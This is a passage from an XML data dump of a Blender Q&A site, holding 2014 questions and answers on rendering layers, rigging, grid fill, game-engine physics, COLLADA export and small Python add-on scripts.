Sample&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy_extras.io_utils import ImportHelper, ExportHelper&#xA;&#xA;class NifImportOperator(bpy.types.Operator, ImportHelper):&#xA;    &quot;&quot;&quot;Operator for loading a nif file.&quot;&quot;&quot;&#xA;&#xA;    #: Name of function for calling the nif export operator.&#xA;    bl_idname = &quot;import_scene.nif&quot;&#xA;&#xA;    #: How the nif import operator is labelled in the user interface.&#xA;    bl_label = &quot;Import NIF&quot;&#xA;&#xA;    def execute(self, context):&#xA;        path = &quot;Importing &quot; + self.properties.filepath&#xA;        self.report({'INFO'}, path)&#xA;        return{'FINISHED'}&#xA;&#xA;def menu_func_import(self, context):&#xA;    self.layout.operator(&#xA;        NifImportOperator.bl_idname, text=&quot;NetImmerse/Gamebryo (.nif)&quot;)&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.INFO_MT_file_import.append(menu_func_import)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    bpy.types.INFO_MT_file_import.remove(menu_func_import)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="175" LastEditorUserId="175" LastEditDate="2014-08-01T10:31:48.847" LastActivityDate="2014-08-01T10:31:48.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14575" PostTypeId="1" CreationDate="2014-07-31T12:52:42.553" Score="5" ViewCount="11899" Body="&lt;p&gt;I have an orange juice splash in a jug. I want to render only the jug and juice in order to edit it in photoshop. Can you please help me how to do that?&#xA;I want to have all light and shading effects that the other objects may cause on the jug but without having the actual objects in the render. I don't want the floor and background either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the scene rendered below, thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v4WN6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5435" LastEditorUserId="241" LastEditDate="2014-07-31T13:22:25.643" LastActivityDate="2014-07-31T13:22:25.643" Title="How do I only render specific objects?" Tags="&lt;rendering&gt;&lt;objects&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14577" PostTypeId="1" AcceptedAnswerId="14582" CreationDate="2014-07-31T13:03:56.107" Score="0" ViewCount="260" Body="&lt;p&gt;Ok so, I got this bone that I wanted to get rid of so I can start over with fresh new ones.&#xA;The bones were once weighted with my legs mesh but then I deleted them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when ever I delete the bones my entire leg mesh just turns face down and move a little out of place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it doing this? it's kind of annoying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I mean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's how it looks totally normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qgkDt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how it looks all wonky and crap..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W1Iv9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd appreciate it if some gave me a hand. Idk if this is like some sort of bug, or what?&lt;/p&gt;&#xA;" OwnerUserId="5279" LastActivityDate="2014-07-31T14:26:59.743" Title="Why does my mesh rotate face down when i delete my bone?" Tags="&lt;mesh&gt;&lt;rigging&gt;&lt;transforms&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14578" PostTypeId="2" ParentId="14575" CreationDate="2014-07-31T13:16:22.650" Score="2" Body="&lt;p&gt;Move all objects that you want to render in a separate layer.&lt;br&gt;&lt;br&gt;&#xA;Move all lights and anything affecting the objects in another separate layer.&lt;br&gt;&lt;br&gt;&#xA;Than click the second tab from your main editor (which says Render Layers). And select only the layers which you want to be rendered (the one which has the separated objects and the lights layer).&lt;/p&gt;&#xA;" OwnerUserId="5341" LastActivityDate="2014-07-31T13:16:22.650" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14579" PostTypeId="1" AcceptedAnswerId="14580" CreationDate="2014-07-31T14:08:08.140" Score="22" ViewCount="21790" Body="&lt;p&gt;Is there any way of converting the triangle fan found on a cylinder cap into quads.&lt;/p&gt;&#xA;" OwnerUserId="3258" LastEditorUserId="3258" LastEditDate="2014-07-31T15:48:00.797" LastActivityDate="2019-07-23T17:19:03.753" Title="Fill cylinder cap with quads" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;topology&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14580" PostTypeId="2" ParentId="14579" CreationDate="2014-07-31T14:18:47.270" Score="21" Body="&lt;p&gt;If you know that your circle has a even number of vertices, and do not care how the gird is aligned; then select all the vertices in the circle with &lt;kbd&gt;alt&lt;/kbd&gt; &lt;kbd&gt;RMB &lt;img src=&quot;https://wiki.blender.org/uploads/5/5e/Template-RMB.png&quot; alt=&quot;RMB&quot;&gt;&lt;/kbd&gt;, then &lt;kbd&gt;ctrl&lt;/kbd&gt; &lt;kbd&gt;F&lt;/kbd&gt; &gt; &lt;em&gt;grid fill&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select half of the vertices of the circle. The selection needs to have the same number of vertices along the top and bottom, and the same number unselected on the side.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qH96v.png&quot; alt=&quot;selection&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then press &lt;kbd&gt;ctrl&lt;/kbd&gt; &lt;kbd&gt;F&lt;/kbd&gt; &gt; &lt;em&gt;grid fill&lt;/em&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ltnxp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which will give you this.  &lt;img src=&quot;https://i.stack.imgur.com/Bn6TT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.187" LastActivityDate="2014-07-31T16:14:09.657" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14581" PostTypeId="1" AcceptedAnswerId="14583" CreationDate="2014-07-31T14:22:08.060" Score="5" ViewCount="2046" Body="&lt;p&gt;What is the difference between a rigid body object and a dynamic object, aside from the fact that rigid body objects can rotate and move based on physical stimuli, and dynamic objects can move but always stay clamped to an upright position? Is there any other difference between the two?&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="228" LastEditDate="2017-06-07T01:13:01.910" LastActivityDate="2017-06-07T01:13:01.910" Title="What is the difference between a rigid body object and a dynamic object?" Tags="&lt;game-engine&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;&lt;terminology&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14582" PostTypeId="2" ParentId="14577" CreationDate="2014-07-31T14:26:59.743" Score="1" Body="&lt;p&gt;Are you sure the bone you are deleting is not the parent to any other bone, because if that is the case their parent would become NULL and the tranformation they were inheriting will become garbage (or maybe just 0 in Blender).&lt;br&gt;&#xA;So make sure you undo parenting prior to deletion.&lt;/p&gt;&#xA;" OwnerUserId="5341" LastActivityDate="2014-07-31T14:26:59.743" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14583" PostTypeId="2" ParentId="14581" CreationDate="2014-07-31T14:58:16.127" Score="5" Body="&lt;p&gt;It seems that your assumption is right &lt;em&gt;Rigid Bodies&lt;/em&gt; add angular physics (&lt;a href=&quot;http://en.wikipedia.org/wiki/Angular_velocity&quot; rel=&quot;noreferrer&quot;&gt;angular velocity&lt;/a&gt;) to the behaviour of &lt;em&gt;Dynamic&lt;/em&gt; objects. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which makes a rigid body roll over when it collides with another object, while a dynamic object would just stop to move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.types.GameObjectSettings.html#bpy.types.GameObjectSettings.physics_type&quot; rel=&quot;noreferrer&quot;&gt;From Python Wiki: Physics Type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;NO_COLLISION No Collision, Disable collision for this object.&lt;/li&gt;&#xA;  &lt;li&gt;STATIC Static, Stationary object.&lt;/li&gt;&#xA;  &lt;li&gt;DYNAMIC Dynamic, Linear physics.&lt;/li&gt;&#xA;  &lt;li&gt;RIGID_BODY Rigid Body, Linear and angular physics.&lt;/li&gt;&#xA;  &lt;li&gt;SOFT_BODY Soft Body, Soft body.&lt;/li&gt;&#xA;  &lt;li&gt;OCCLUDE Occlude, Occluder for optimizing scene rendering.&lt;/li&gt;&#xA;  &lt;li&gt;SENSOR Sensor, Collision Sensor, detects static and dynamic objects but not the other collision sensor objects.&lt;/li&gt;&#xA;  &lt;li&gt;NAVMESH Navigation Mesh, Navigation mesh.&lt;/li&gt;&#xA;  &lt;li&gt;CHARACTER Character, Simple kinematic physics appropriate for game characters.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-07-31T14:58:16.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14584" PostTypeId="1" AcceptedAnswerId="14604" CreationDate="2014-07-31T15:42:22.527" Score="10" ViewCount="23493" Body="&lt;p&gt;What is the correct way to export meshes including textures etc for use in SceneKit of iOS 8 or even OS X? By the default options I can only export meshes - somehow I don't get textures to work. Also Preview in OS X has trouble opening anything output from Blender/COLLADA so far. Running OS X Mavericks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, the ship.dae that is included in a template SceneKit project in Xcode 6 has Y for up, whereas stuff exported from Blender has Z up. Maybe this causes errors in the Apple world? Also importing ship.dae then exporting it with default options gives likewise &quot;bad&quot; COLLADA output. I was doing a diff in the input ship.dae and the output one and the differences were rather many so I don't know where to start.&lt;/p&gt;&#xA;" OwnerUserId="5437" LastActivityDate="2017-08-14T19:42:49.017" Title="Properly export COLLADA for use in SceneKit" Tags="&lt;export&gt;&lt;collada&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14586" PostTypeId="2" ParentId="14351" CreationDate="2014-07-31T19:24:35.737" Score="1" Body="&lt;p&gt;The point is so that, if you want to, you can use a bumpmap in one shader and another one entirely in another shader. If you plug it in the output, it will be used for the whole material.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2014-08-26T20:55:21.217" LastActivityDate="2014-08-26T20:55:21.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14587" PostTypeId="1" AcceptedAnswerId="14742" CreationDate="2014-07-31T20:07:03.937" Score="1" ViewCount="367" Body="&lt;p&gt;Is it possible to give every scene the user creates an unique number? I thought about using the UUID lib for that so here is what I got so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def register():&#xA;    pow2_31 = 2**31&#xA;    mask32b = 0xFFFFFFFF&#xA;    p_uuid = uuid.uuid4().int&#xA;    p_uuid1 = p_uuid &amp;gt;&amp;gt; 96&#xA;    p_uuid1 -= pow2_31 if p_uuid1 &amp;gt;= pow2_31 else 0&#xA;    p_uuid2 = (p_uuid &amp;gt;&amp;gt; 64) &amp;amp; mask32b&#xA;    p_uuid2 -= pow2_31 if p_uuid2 &amp;gt;= pow2_31 else 0&#xA;    p_uuid3 = (p_uuid &amp;gt;&amp;gt; 32) &amp;amp; mask32b&#xA;    p_uuid3 -= pow2_31 if p_uuid3 &amp;gt;= pow2_31 else 0&#xA;    p_uuid4 = p_uuid &amp;amp; mask32b&#xA;    p_uuid4 -= pow2_31 if p_uuid4 &amp;gt;= pow2_31 else 0&#xA;    bpy.types.Scene.mhfc_uuid1 = IntProperty(&#xA;                                name=&quot;projectUUID&quot;,&#xA;                                description=&quot;An unique ID. DON'T TOUCH THIS UNLESS YOU ARE SURE WHAT YOU DO.&quot;,&#xA;                                subtype=&quot;UNSIGNED&quot;,&#xA;                                default= p_uuid1, # most uniqueness possible??&#xA;                                options=set()&#xA;                                )&#xA;    bpy.types.Scene.mhfc_uuid2 = IntProperty(&#xA;                                name=&quot;projectUUID&quot;,&#xA;                                description=&quot;An unique ID. DON'T TOUCH THIS UNLESS YOU ARE SURE WHAT YOU DO.&quot;,&#xA;                                subtype=&quot;UNSIGNED&quot;,&#xA;                                default= p_uuid2, # most uniqueness possible??&#xA;                                options=set()&#xA;                                )&#xA;    bpy.types.Scene.mhfc_uuid3 = IntProperty(&#xA;                                name=&quot;projectUUID&quot;,&#xA;                                description=&quot;An unique ID. DON'T TOUCH THIS UNLESS YOU ARE SURE WHAT YOU DO.&quot;,&#xA;                                subtype=&quot;UNSIGNED&quot;,&#xA;                                default= p_uuid3, # most uniqueness possible??&#xA;                                options=set()&#xA;                                )&#xA;    bpy.types.Scene.mhfc_uuid4 = IntProperty(&#xA;                                name=&quot;projectUUID&quot;,&#xA;                                description=&quot;An unique ID. DON'T TOUCH THIS UNLESS YOU ARE SURE WHAT YOU DO.&quot;,&#xA;                                subtype=&quot;UNSIGNED&quot;,&#xA;                                default= p_uuid4, # most uniqueness possible??&#xA;                                options=set()&#xA;                                )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that all scenes have the same uuid while Blender is not restarted. How can I generate a new random number for each scene the user creates?&lt;/p&gt;&#xA;" OwnerUserId="2251" LastEditorUserId="599" LastEditDate="2014-07-31T20:07:37.803" LastActivityDate="2014-08-07T13:50:59.577" Title="Python script: Give every scene a unique number" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14588" PostTypeId="2" ParentId="14400" CreationDate="2014-07-31T20:35:58.637" Score="1" Body="&lt;p&gt;I don't think this is possible, as shaders can only operate on one incoming ray at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do what I want to do, I would have to store the length of incoming reflection rays, and give that to incoming camera rays.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-07-31T20:35:58.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14590" PostTypeId="1" CreationDate="2014-07-31T21:32:06.917" Score="4" ViewCount="12509" Body="&lt;p&gt;I am trying to link two mesh objects, each one has its own UV mapping, both are using the same texture, how can I link the two objects and keep the UV mapping of both objects? It only keeps the one atm. Or is there a way of copying the entire UV map of the one object and paste it when the objects are linked?&lt;/p&gt;&#xA;" OwnerUserId="5441" LastEditorUserId="72" LastEditDate="2014-07-31T21:56:46.643" LastActivityDate="2016-03-03T18:20:22.713" Title="Can you link two mesh objects and keep the UV mapping each one has?" Tags="&lt;mesh&gt;&lt;uv&gt;&lt;linked-data&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14591" PostTypeId="2" ParentId="10479" CreationDate="2014-07-31T21:54:56.793" Score="1" Body="&lt;p&gt;When making a rig make sure that every part of the model has an Armature Modifier applied. This is easy when you Merge (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; in Object Mode) all of the objects you want to rig into one &quot;big&quot; object which means that you only have to apply the Armature Modifier once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another &quot;feature&quot; of Blender that comes to mind when thinking about rigging with custom weights is that the weigths are assigned with a vertex group. The vertex group's name has to be the same as the Bone's you want to bind the group to. You can always try to get away with automated weights or use them as a base for your own weightpaint, it gives a decent result most of the time.&lt;/p&gt;&#xA;" OwnerUserId="2251" LastActivityDate="2014-07-31T21:54:56.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14592" PostTypeId="2" ParentId="14513" CreationDate="2014-07-31T22:13:32.660" Score="1" Body="&lt;p&gt;You could write your own simple script.&lt;br&gt;&#xA;To accumulate ALL the objects transformations you can do something as simple as that:&lt;br&gt;&#xA;&lt;code&gt; myMat = bpy.context.object.matrix_world&lt;/code&gt; myMat will now store a pointer to the transformation matrix of your object, so if you move it about, myMat will change accordingly...&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can simply say: &lt;code&gt;accumMat *= myMat&lt;/code&gt; and that will create this new matrix called accumMat (accumulation matrix) which gets set to whatever it is, times the current transformation matrix.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run that last line of code after you register a new transformation and you will have the accumulated transformation of the object on accumMat!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now if you just want the scale and translation (no rotation) than you want to extract only this information from the transformation matrix, so you can say:&lt;br&gt;&#xA;&lt;code&gt;myScale = bpy.context.object.matrix_world.to_scale()&lt;/code&gt; &#xA;&lt;br&gt;and&lt;br&gt;&#xA;&lt;code&gt;myTranslate = bpy.context.object.matrix_world.to_translation()&lt;/code&gt; &#xA;which would give you back 2 vec4's containing the current scale and translation, then simply accumulate the new values into the accumMat appropriately.&lt;br&gt; &#xA;You could do so by adding the translations and multiplying the scales. (I am not sure what you are actually trying to do, but that is what makes sense).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just keep in mind that bpy is column major so your traslation vector would be at:&lt;br&gt;&#xA;&lt;code&gt;Vector((accumMat[0][3], accumMat[1][3], accumMat[2][3], accumMat[3][3]   &lt;/code&gt;&lt;br&gt;&#xA;Take care with the last one because it is &lt;em&gt;w&lt;/em&gt; coordinate, and you probably want to keep it at 1.0! So don't accumulate it.&lt;br&gt;&#xA;The scale would be respectively at:&lt;br&gt;&#xA;&lt;code&gt;Vector((accumMat[0][0], accumMat[1][1], accumMat[2][2], accumMat[3][3]   &lt;/code&gt;&lt;br&gt;&#xA;Again be cautious with the &lt;em&gt;w&lt;/em&gt; coordinate.&lt;/p&gt;&#xA;" OwnerUserId="5341" LastActivityDate="2014-07-31T22:13:32.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14593" PostTypeId="2" ParentId="14590" CreationDate="2014-07-31T22:35:29.863" Score="4" Body="&lt;p&gt;You can do this with a very simple python script &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# make sure to be in Object mode&#xA;# make sure to have two objects selected&#xA;import bpy&#xA;import bmesh&#xA;from mathutils import Matrix&#xA;from contextlib import ExitStack&#xA;&#xA;def work():&#xA;    C = bpy.context&#xA;    if C.mode != 'OBJECT':&#xA;        return&#xA;    if len(C.selected_objects) &amp;lt; 1:&#xA;        print(&quot;Must have at least one object selected&quot;)&#xA;        return&#xA;    # read into bmesh safely&#xA;    names = []&#xA;    with ExitStack() as stack:&#xA;        bm = bmesh.new()&#xA;        stack.callback(bm.free)&#xA;        for o in C.selected_objects:&#xA;            if o.type != 'MESH':&#xA;                continue&#xA;            m = o.matrix_world&#xA;            bm.transform(m.inverted())&#xA;            bm.from_mesh(o.data)&#xA;            bm.transform(m)&#xA;            names.append(o.name)&#xA;        # write to actual mesh&#xA;        mesh = bpy.data.meshes.new('Result')&#xA;        object = bpy.data.objects.new('Merge(%s)' % ', '.join(names), mesh)&#xA;        bm.to_mesh(mesh)&#xA;    C.scene.objects.link(object)&#xA;    C.scene.update()&#xA;&#xA;work()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this fulfills your needs, I figure you can easily adapt to even more objects but this script should do what you want. Just copy and paste in into the text editor, select your two objects and hit the &quot;Run Script&quot; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: the script can now handle indefinitly many objects.&lt;/p&gt;&#xA;" OwnerUserId="2251" LastEditorUserId="2251" LastEditDate="2015-07-29T02:15:22.570" LastActivityDate="2015-07-29T02:15:22.570" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14594" PostTypeId="2" ParentId="14545" CreationDate="2014-07-31T23:17:11.773" Score="7" Body="&lt;p&gt;It really depends on the project you are undertaking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For Oceans and Splashes&lt;/strong&gt;&lt;br&gt;&#xA;Any wave or developed ocean sim uses functions which are fractaly overlayed on top of each other (similar to Brownian Motion, Turbulence, etc), which produces a plausible in-the-middle-of-the-ocean effect. Note that ocean simulators by default DO NOT use any sort of fluid dynamics! As it has been mentioned in the comments, fluid dynamics is expensive and simulating a whole ocean using fluids is just something that is not done even in the VFX for your top-ten Hollywood films of last year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, on the other hand splashes and sprinkles and water interacting with objects cannot be done plausibly with an ocean sim. You actually need fluid dynamics for that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is usually done for a shot that has a huge CG ocean and water interacting with some object in the ocean (rocks, ships, kraken, huge robots, etc...) is that an ocean sim (or a few of them, different for foreground, midground and background [something like ocean LOD]) is used for the virgin ocean part of the shot, and a separate 'water-basin' is used where the interaction with the object happens. This is a limited container (as small as possible) with actually has 3d fluid dynamics, that are going to be used for the effects as splashes, droplets, etc.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tricky part is here, you need to somehow combine the 2 techniques seamlessly!... Unfortunately there is no perfect solution which does not involve  manual tweaking of parameters for some time (There might be some tips I am not familiar with).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For Underwater Scenes&lt;/strong&gt;&lt;br&gt;&#xA;For such scenes, PLEASE, do not use fluid dynamics!!! Overkill is a weak word to use... it might even not produce the results you would expect! Now simulating the surface of the ocean with a ocean sim, and in the case of splashes and interaction, some fluid dynamics is fine (as we mentioned earlier). At the moment you get under those waves, it is just a completely different technique. There are quite alot of tutorials and techniques which teach realistic underwater effects.&#xA;Here are some basic ideas:&lt;br&gt;&#xA;- You apply a 'depth' filter which would give the impression of this blue-ish foggy abyss.&lt;br&gt;&#xA;- You combine that with tiny particles generated where they will be visible.&#xA;- Volumetric effect (similar to God-rays) for any lighting natural or man-made.&lt;br&gt;&#xA;- particles for bubbles, racing to the surface...&#xA;- If you are close to the surface, you might want to apply caustic effects onto the objects which are visible...&#xA;- Last but not least use your observation and imagination! ;)&lt;/p&gt;&#xA;" OwnerUserId="5341" LastActivityDate="2014-07-31T23:17:11.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14597" PostTypeId="1" AcceptedAnswerId="14601" CreationDate="2014-08-01T01:17:45.747" Score="4" ViewCount="2127" Body="&lt;p&gt;As you can see, certain faces are not being textured, despite the map covering them. On the UV view there are vertexes which are unselected, but selecting them manually makes no difference - they are unselected as a result of an unmapping, and I suspect the issue is linked to those vertexes, although deleting them and remaking them only makes the problem worse. Please note, the textures are not invisible, but white, so I know the normals are all fine (I checked them anyway, and they are all the correct way round). There are no doubles either. I'm genuinely stumped by this. Any help would be greatly appreciated. Thankyou.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9x54l.png&quot; alt=&quot;Image&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5442" LastActivityDate="2014-08-01T02:01:37.053" Title="UV map not applying to certain faces" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;image&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14598" PostTypeId="1" AcceptedAnswerId="14599" CreationDate="2014-08-01T01:25:15.447" Score="5" ViewCount="6073" Body="&lt;p&gt;There are two objects in my 3D-view:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;A red object &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A white object&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Both are overlapping each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added several keyframes of animation to the red object. &#xA;When I select the white object, all keyframes disappear from timeline.&#xA;They reappear if I select the red object again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do keyframes disappear from the timeline?&lt;br&gt;&#xA;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="2018" LastEditorUserId="599" LastEditDate="2014-08-01T05:50:58.543" LastActivityDate="2021-04-21T16:26:02.613" Title="Selecting a different object hides all keyframes in timeline?" Tags="&lt;animation&gt;&lt;interface&gt;&lt;keyframes&gt;" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14599" PostTypeId="2" ParentId="14598" CreationDate="2014-08-01T01:32:38.460" Score="7" Body="&lt;p&gt;This is a &lt;em&gt;feature&lt;/em&gt;. You only see keyframes for the selected object in the timeline. If you want to see all your keyframes, I would use the &lt;em&gt;Dope Sheet&lt;/em&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/U0lQO.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The arrow icon only shows the key frame from the selected object.&lt;/p&gt;&#xA;&lt;p&gt;The ghost icon shows keyframes form hidden objects.&lt;/p&gt;&#xA;&lt;p&gt;The life saver :P(&lt;em&gt;I think that the official name?&lt;/em&gt;) shows broken drivers.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-08-01T01:32:38.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14600" PostTypeId="2" ParentId="14598" CreationDate="2014-08-01T01:32:47.670" Score="5" Body="&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/Timeline&quot; rel=&quot;nofollow noreferrer&quot;&gt;This is how the timeline works&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Timeline is not much of an editor, but more of a information and&#xA;  control window.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Here you can have an overview of the animation part of your scene&#xA;      What is the current time frame, either in frames or in seconds, where are the keyframes of the &lt;strong&gt;active object&lt;/strong&gt;, the start and end frames&#xA;  of your animation, markers, etc...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;Emphasis mine&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to see all the keyframes in the scene, use the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/DopeSheet&quot; rel=&quot;nofollow noreferrer&quot;&gt;dopesheet&lt;/a&gt;&lt;/em&gt; (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F12&lt;/kbd&gt;). Click the ghost icon in the header to make keyframes on hidden objects visible:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zyd9G.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-08-01T01:52:26.450" LastActivityDate="2014-08-01T01:52:26.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14601" PostTypeId="2" ParentId="14597" CreationDate="2014-08-01T01:42:52.567" Score="2" Body="&lt;p&gt;That part of the UV map is not assigned to an image. If you just select the face, you'll notice that the image in the UV/image editor disappears.&lt;br&gt;&#xA;Select the face and then select the image in the UV/image editor to &quot;assign&quot; it. To be sure of this not happening again, you should probably do this with the entire mesh selected (&lt;kbd&gt;A&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that with proper materials/textures setup, this won't affect the render.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://blender.stackexchange.com/q/3772/599&quot;&gt;How is this blendfile hiding textures?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-08-01T02:01:37.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
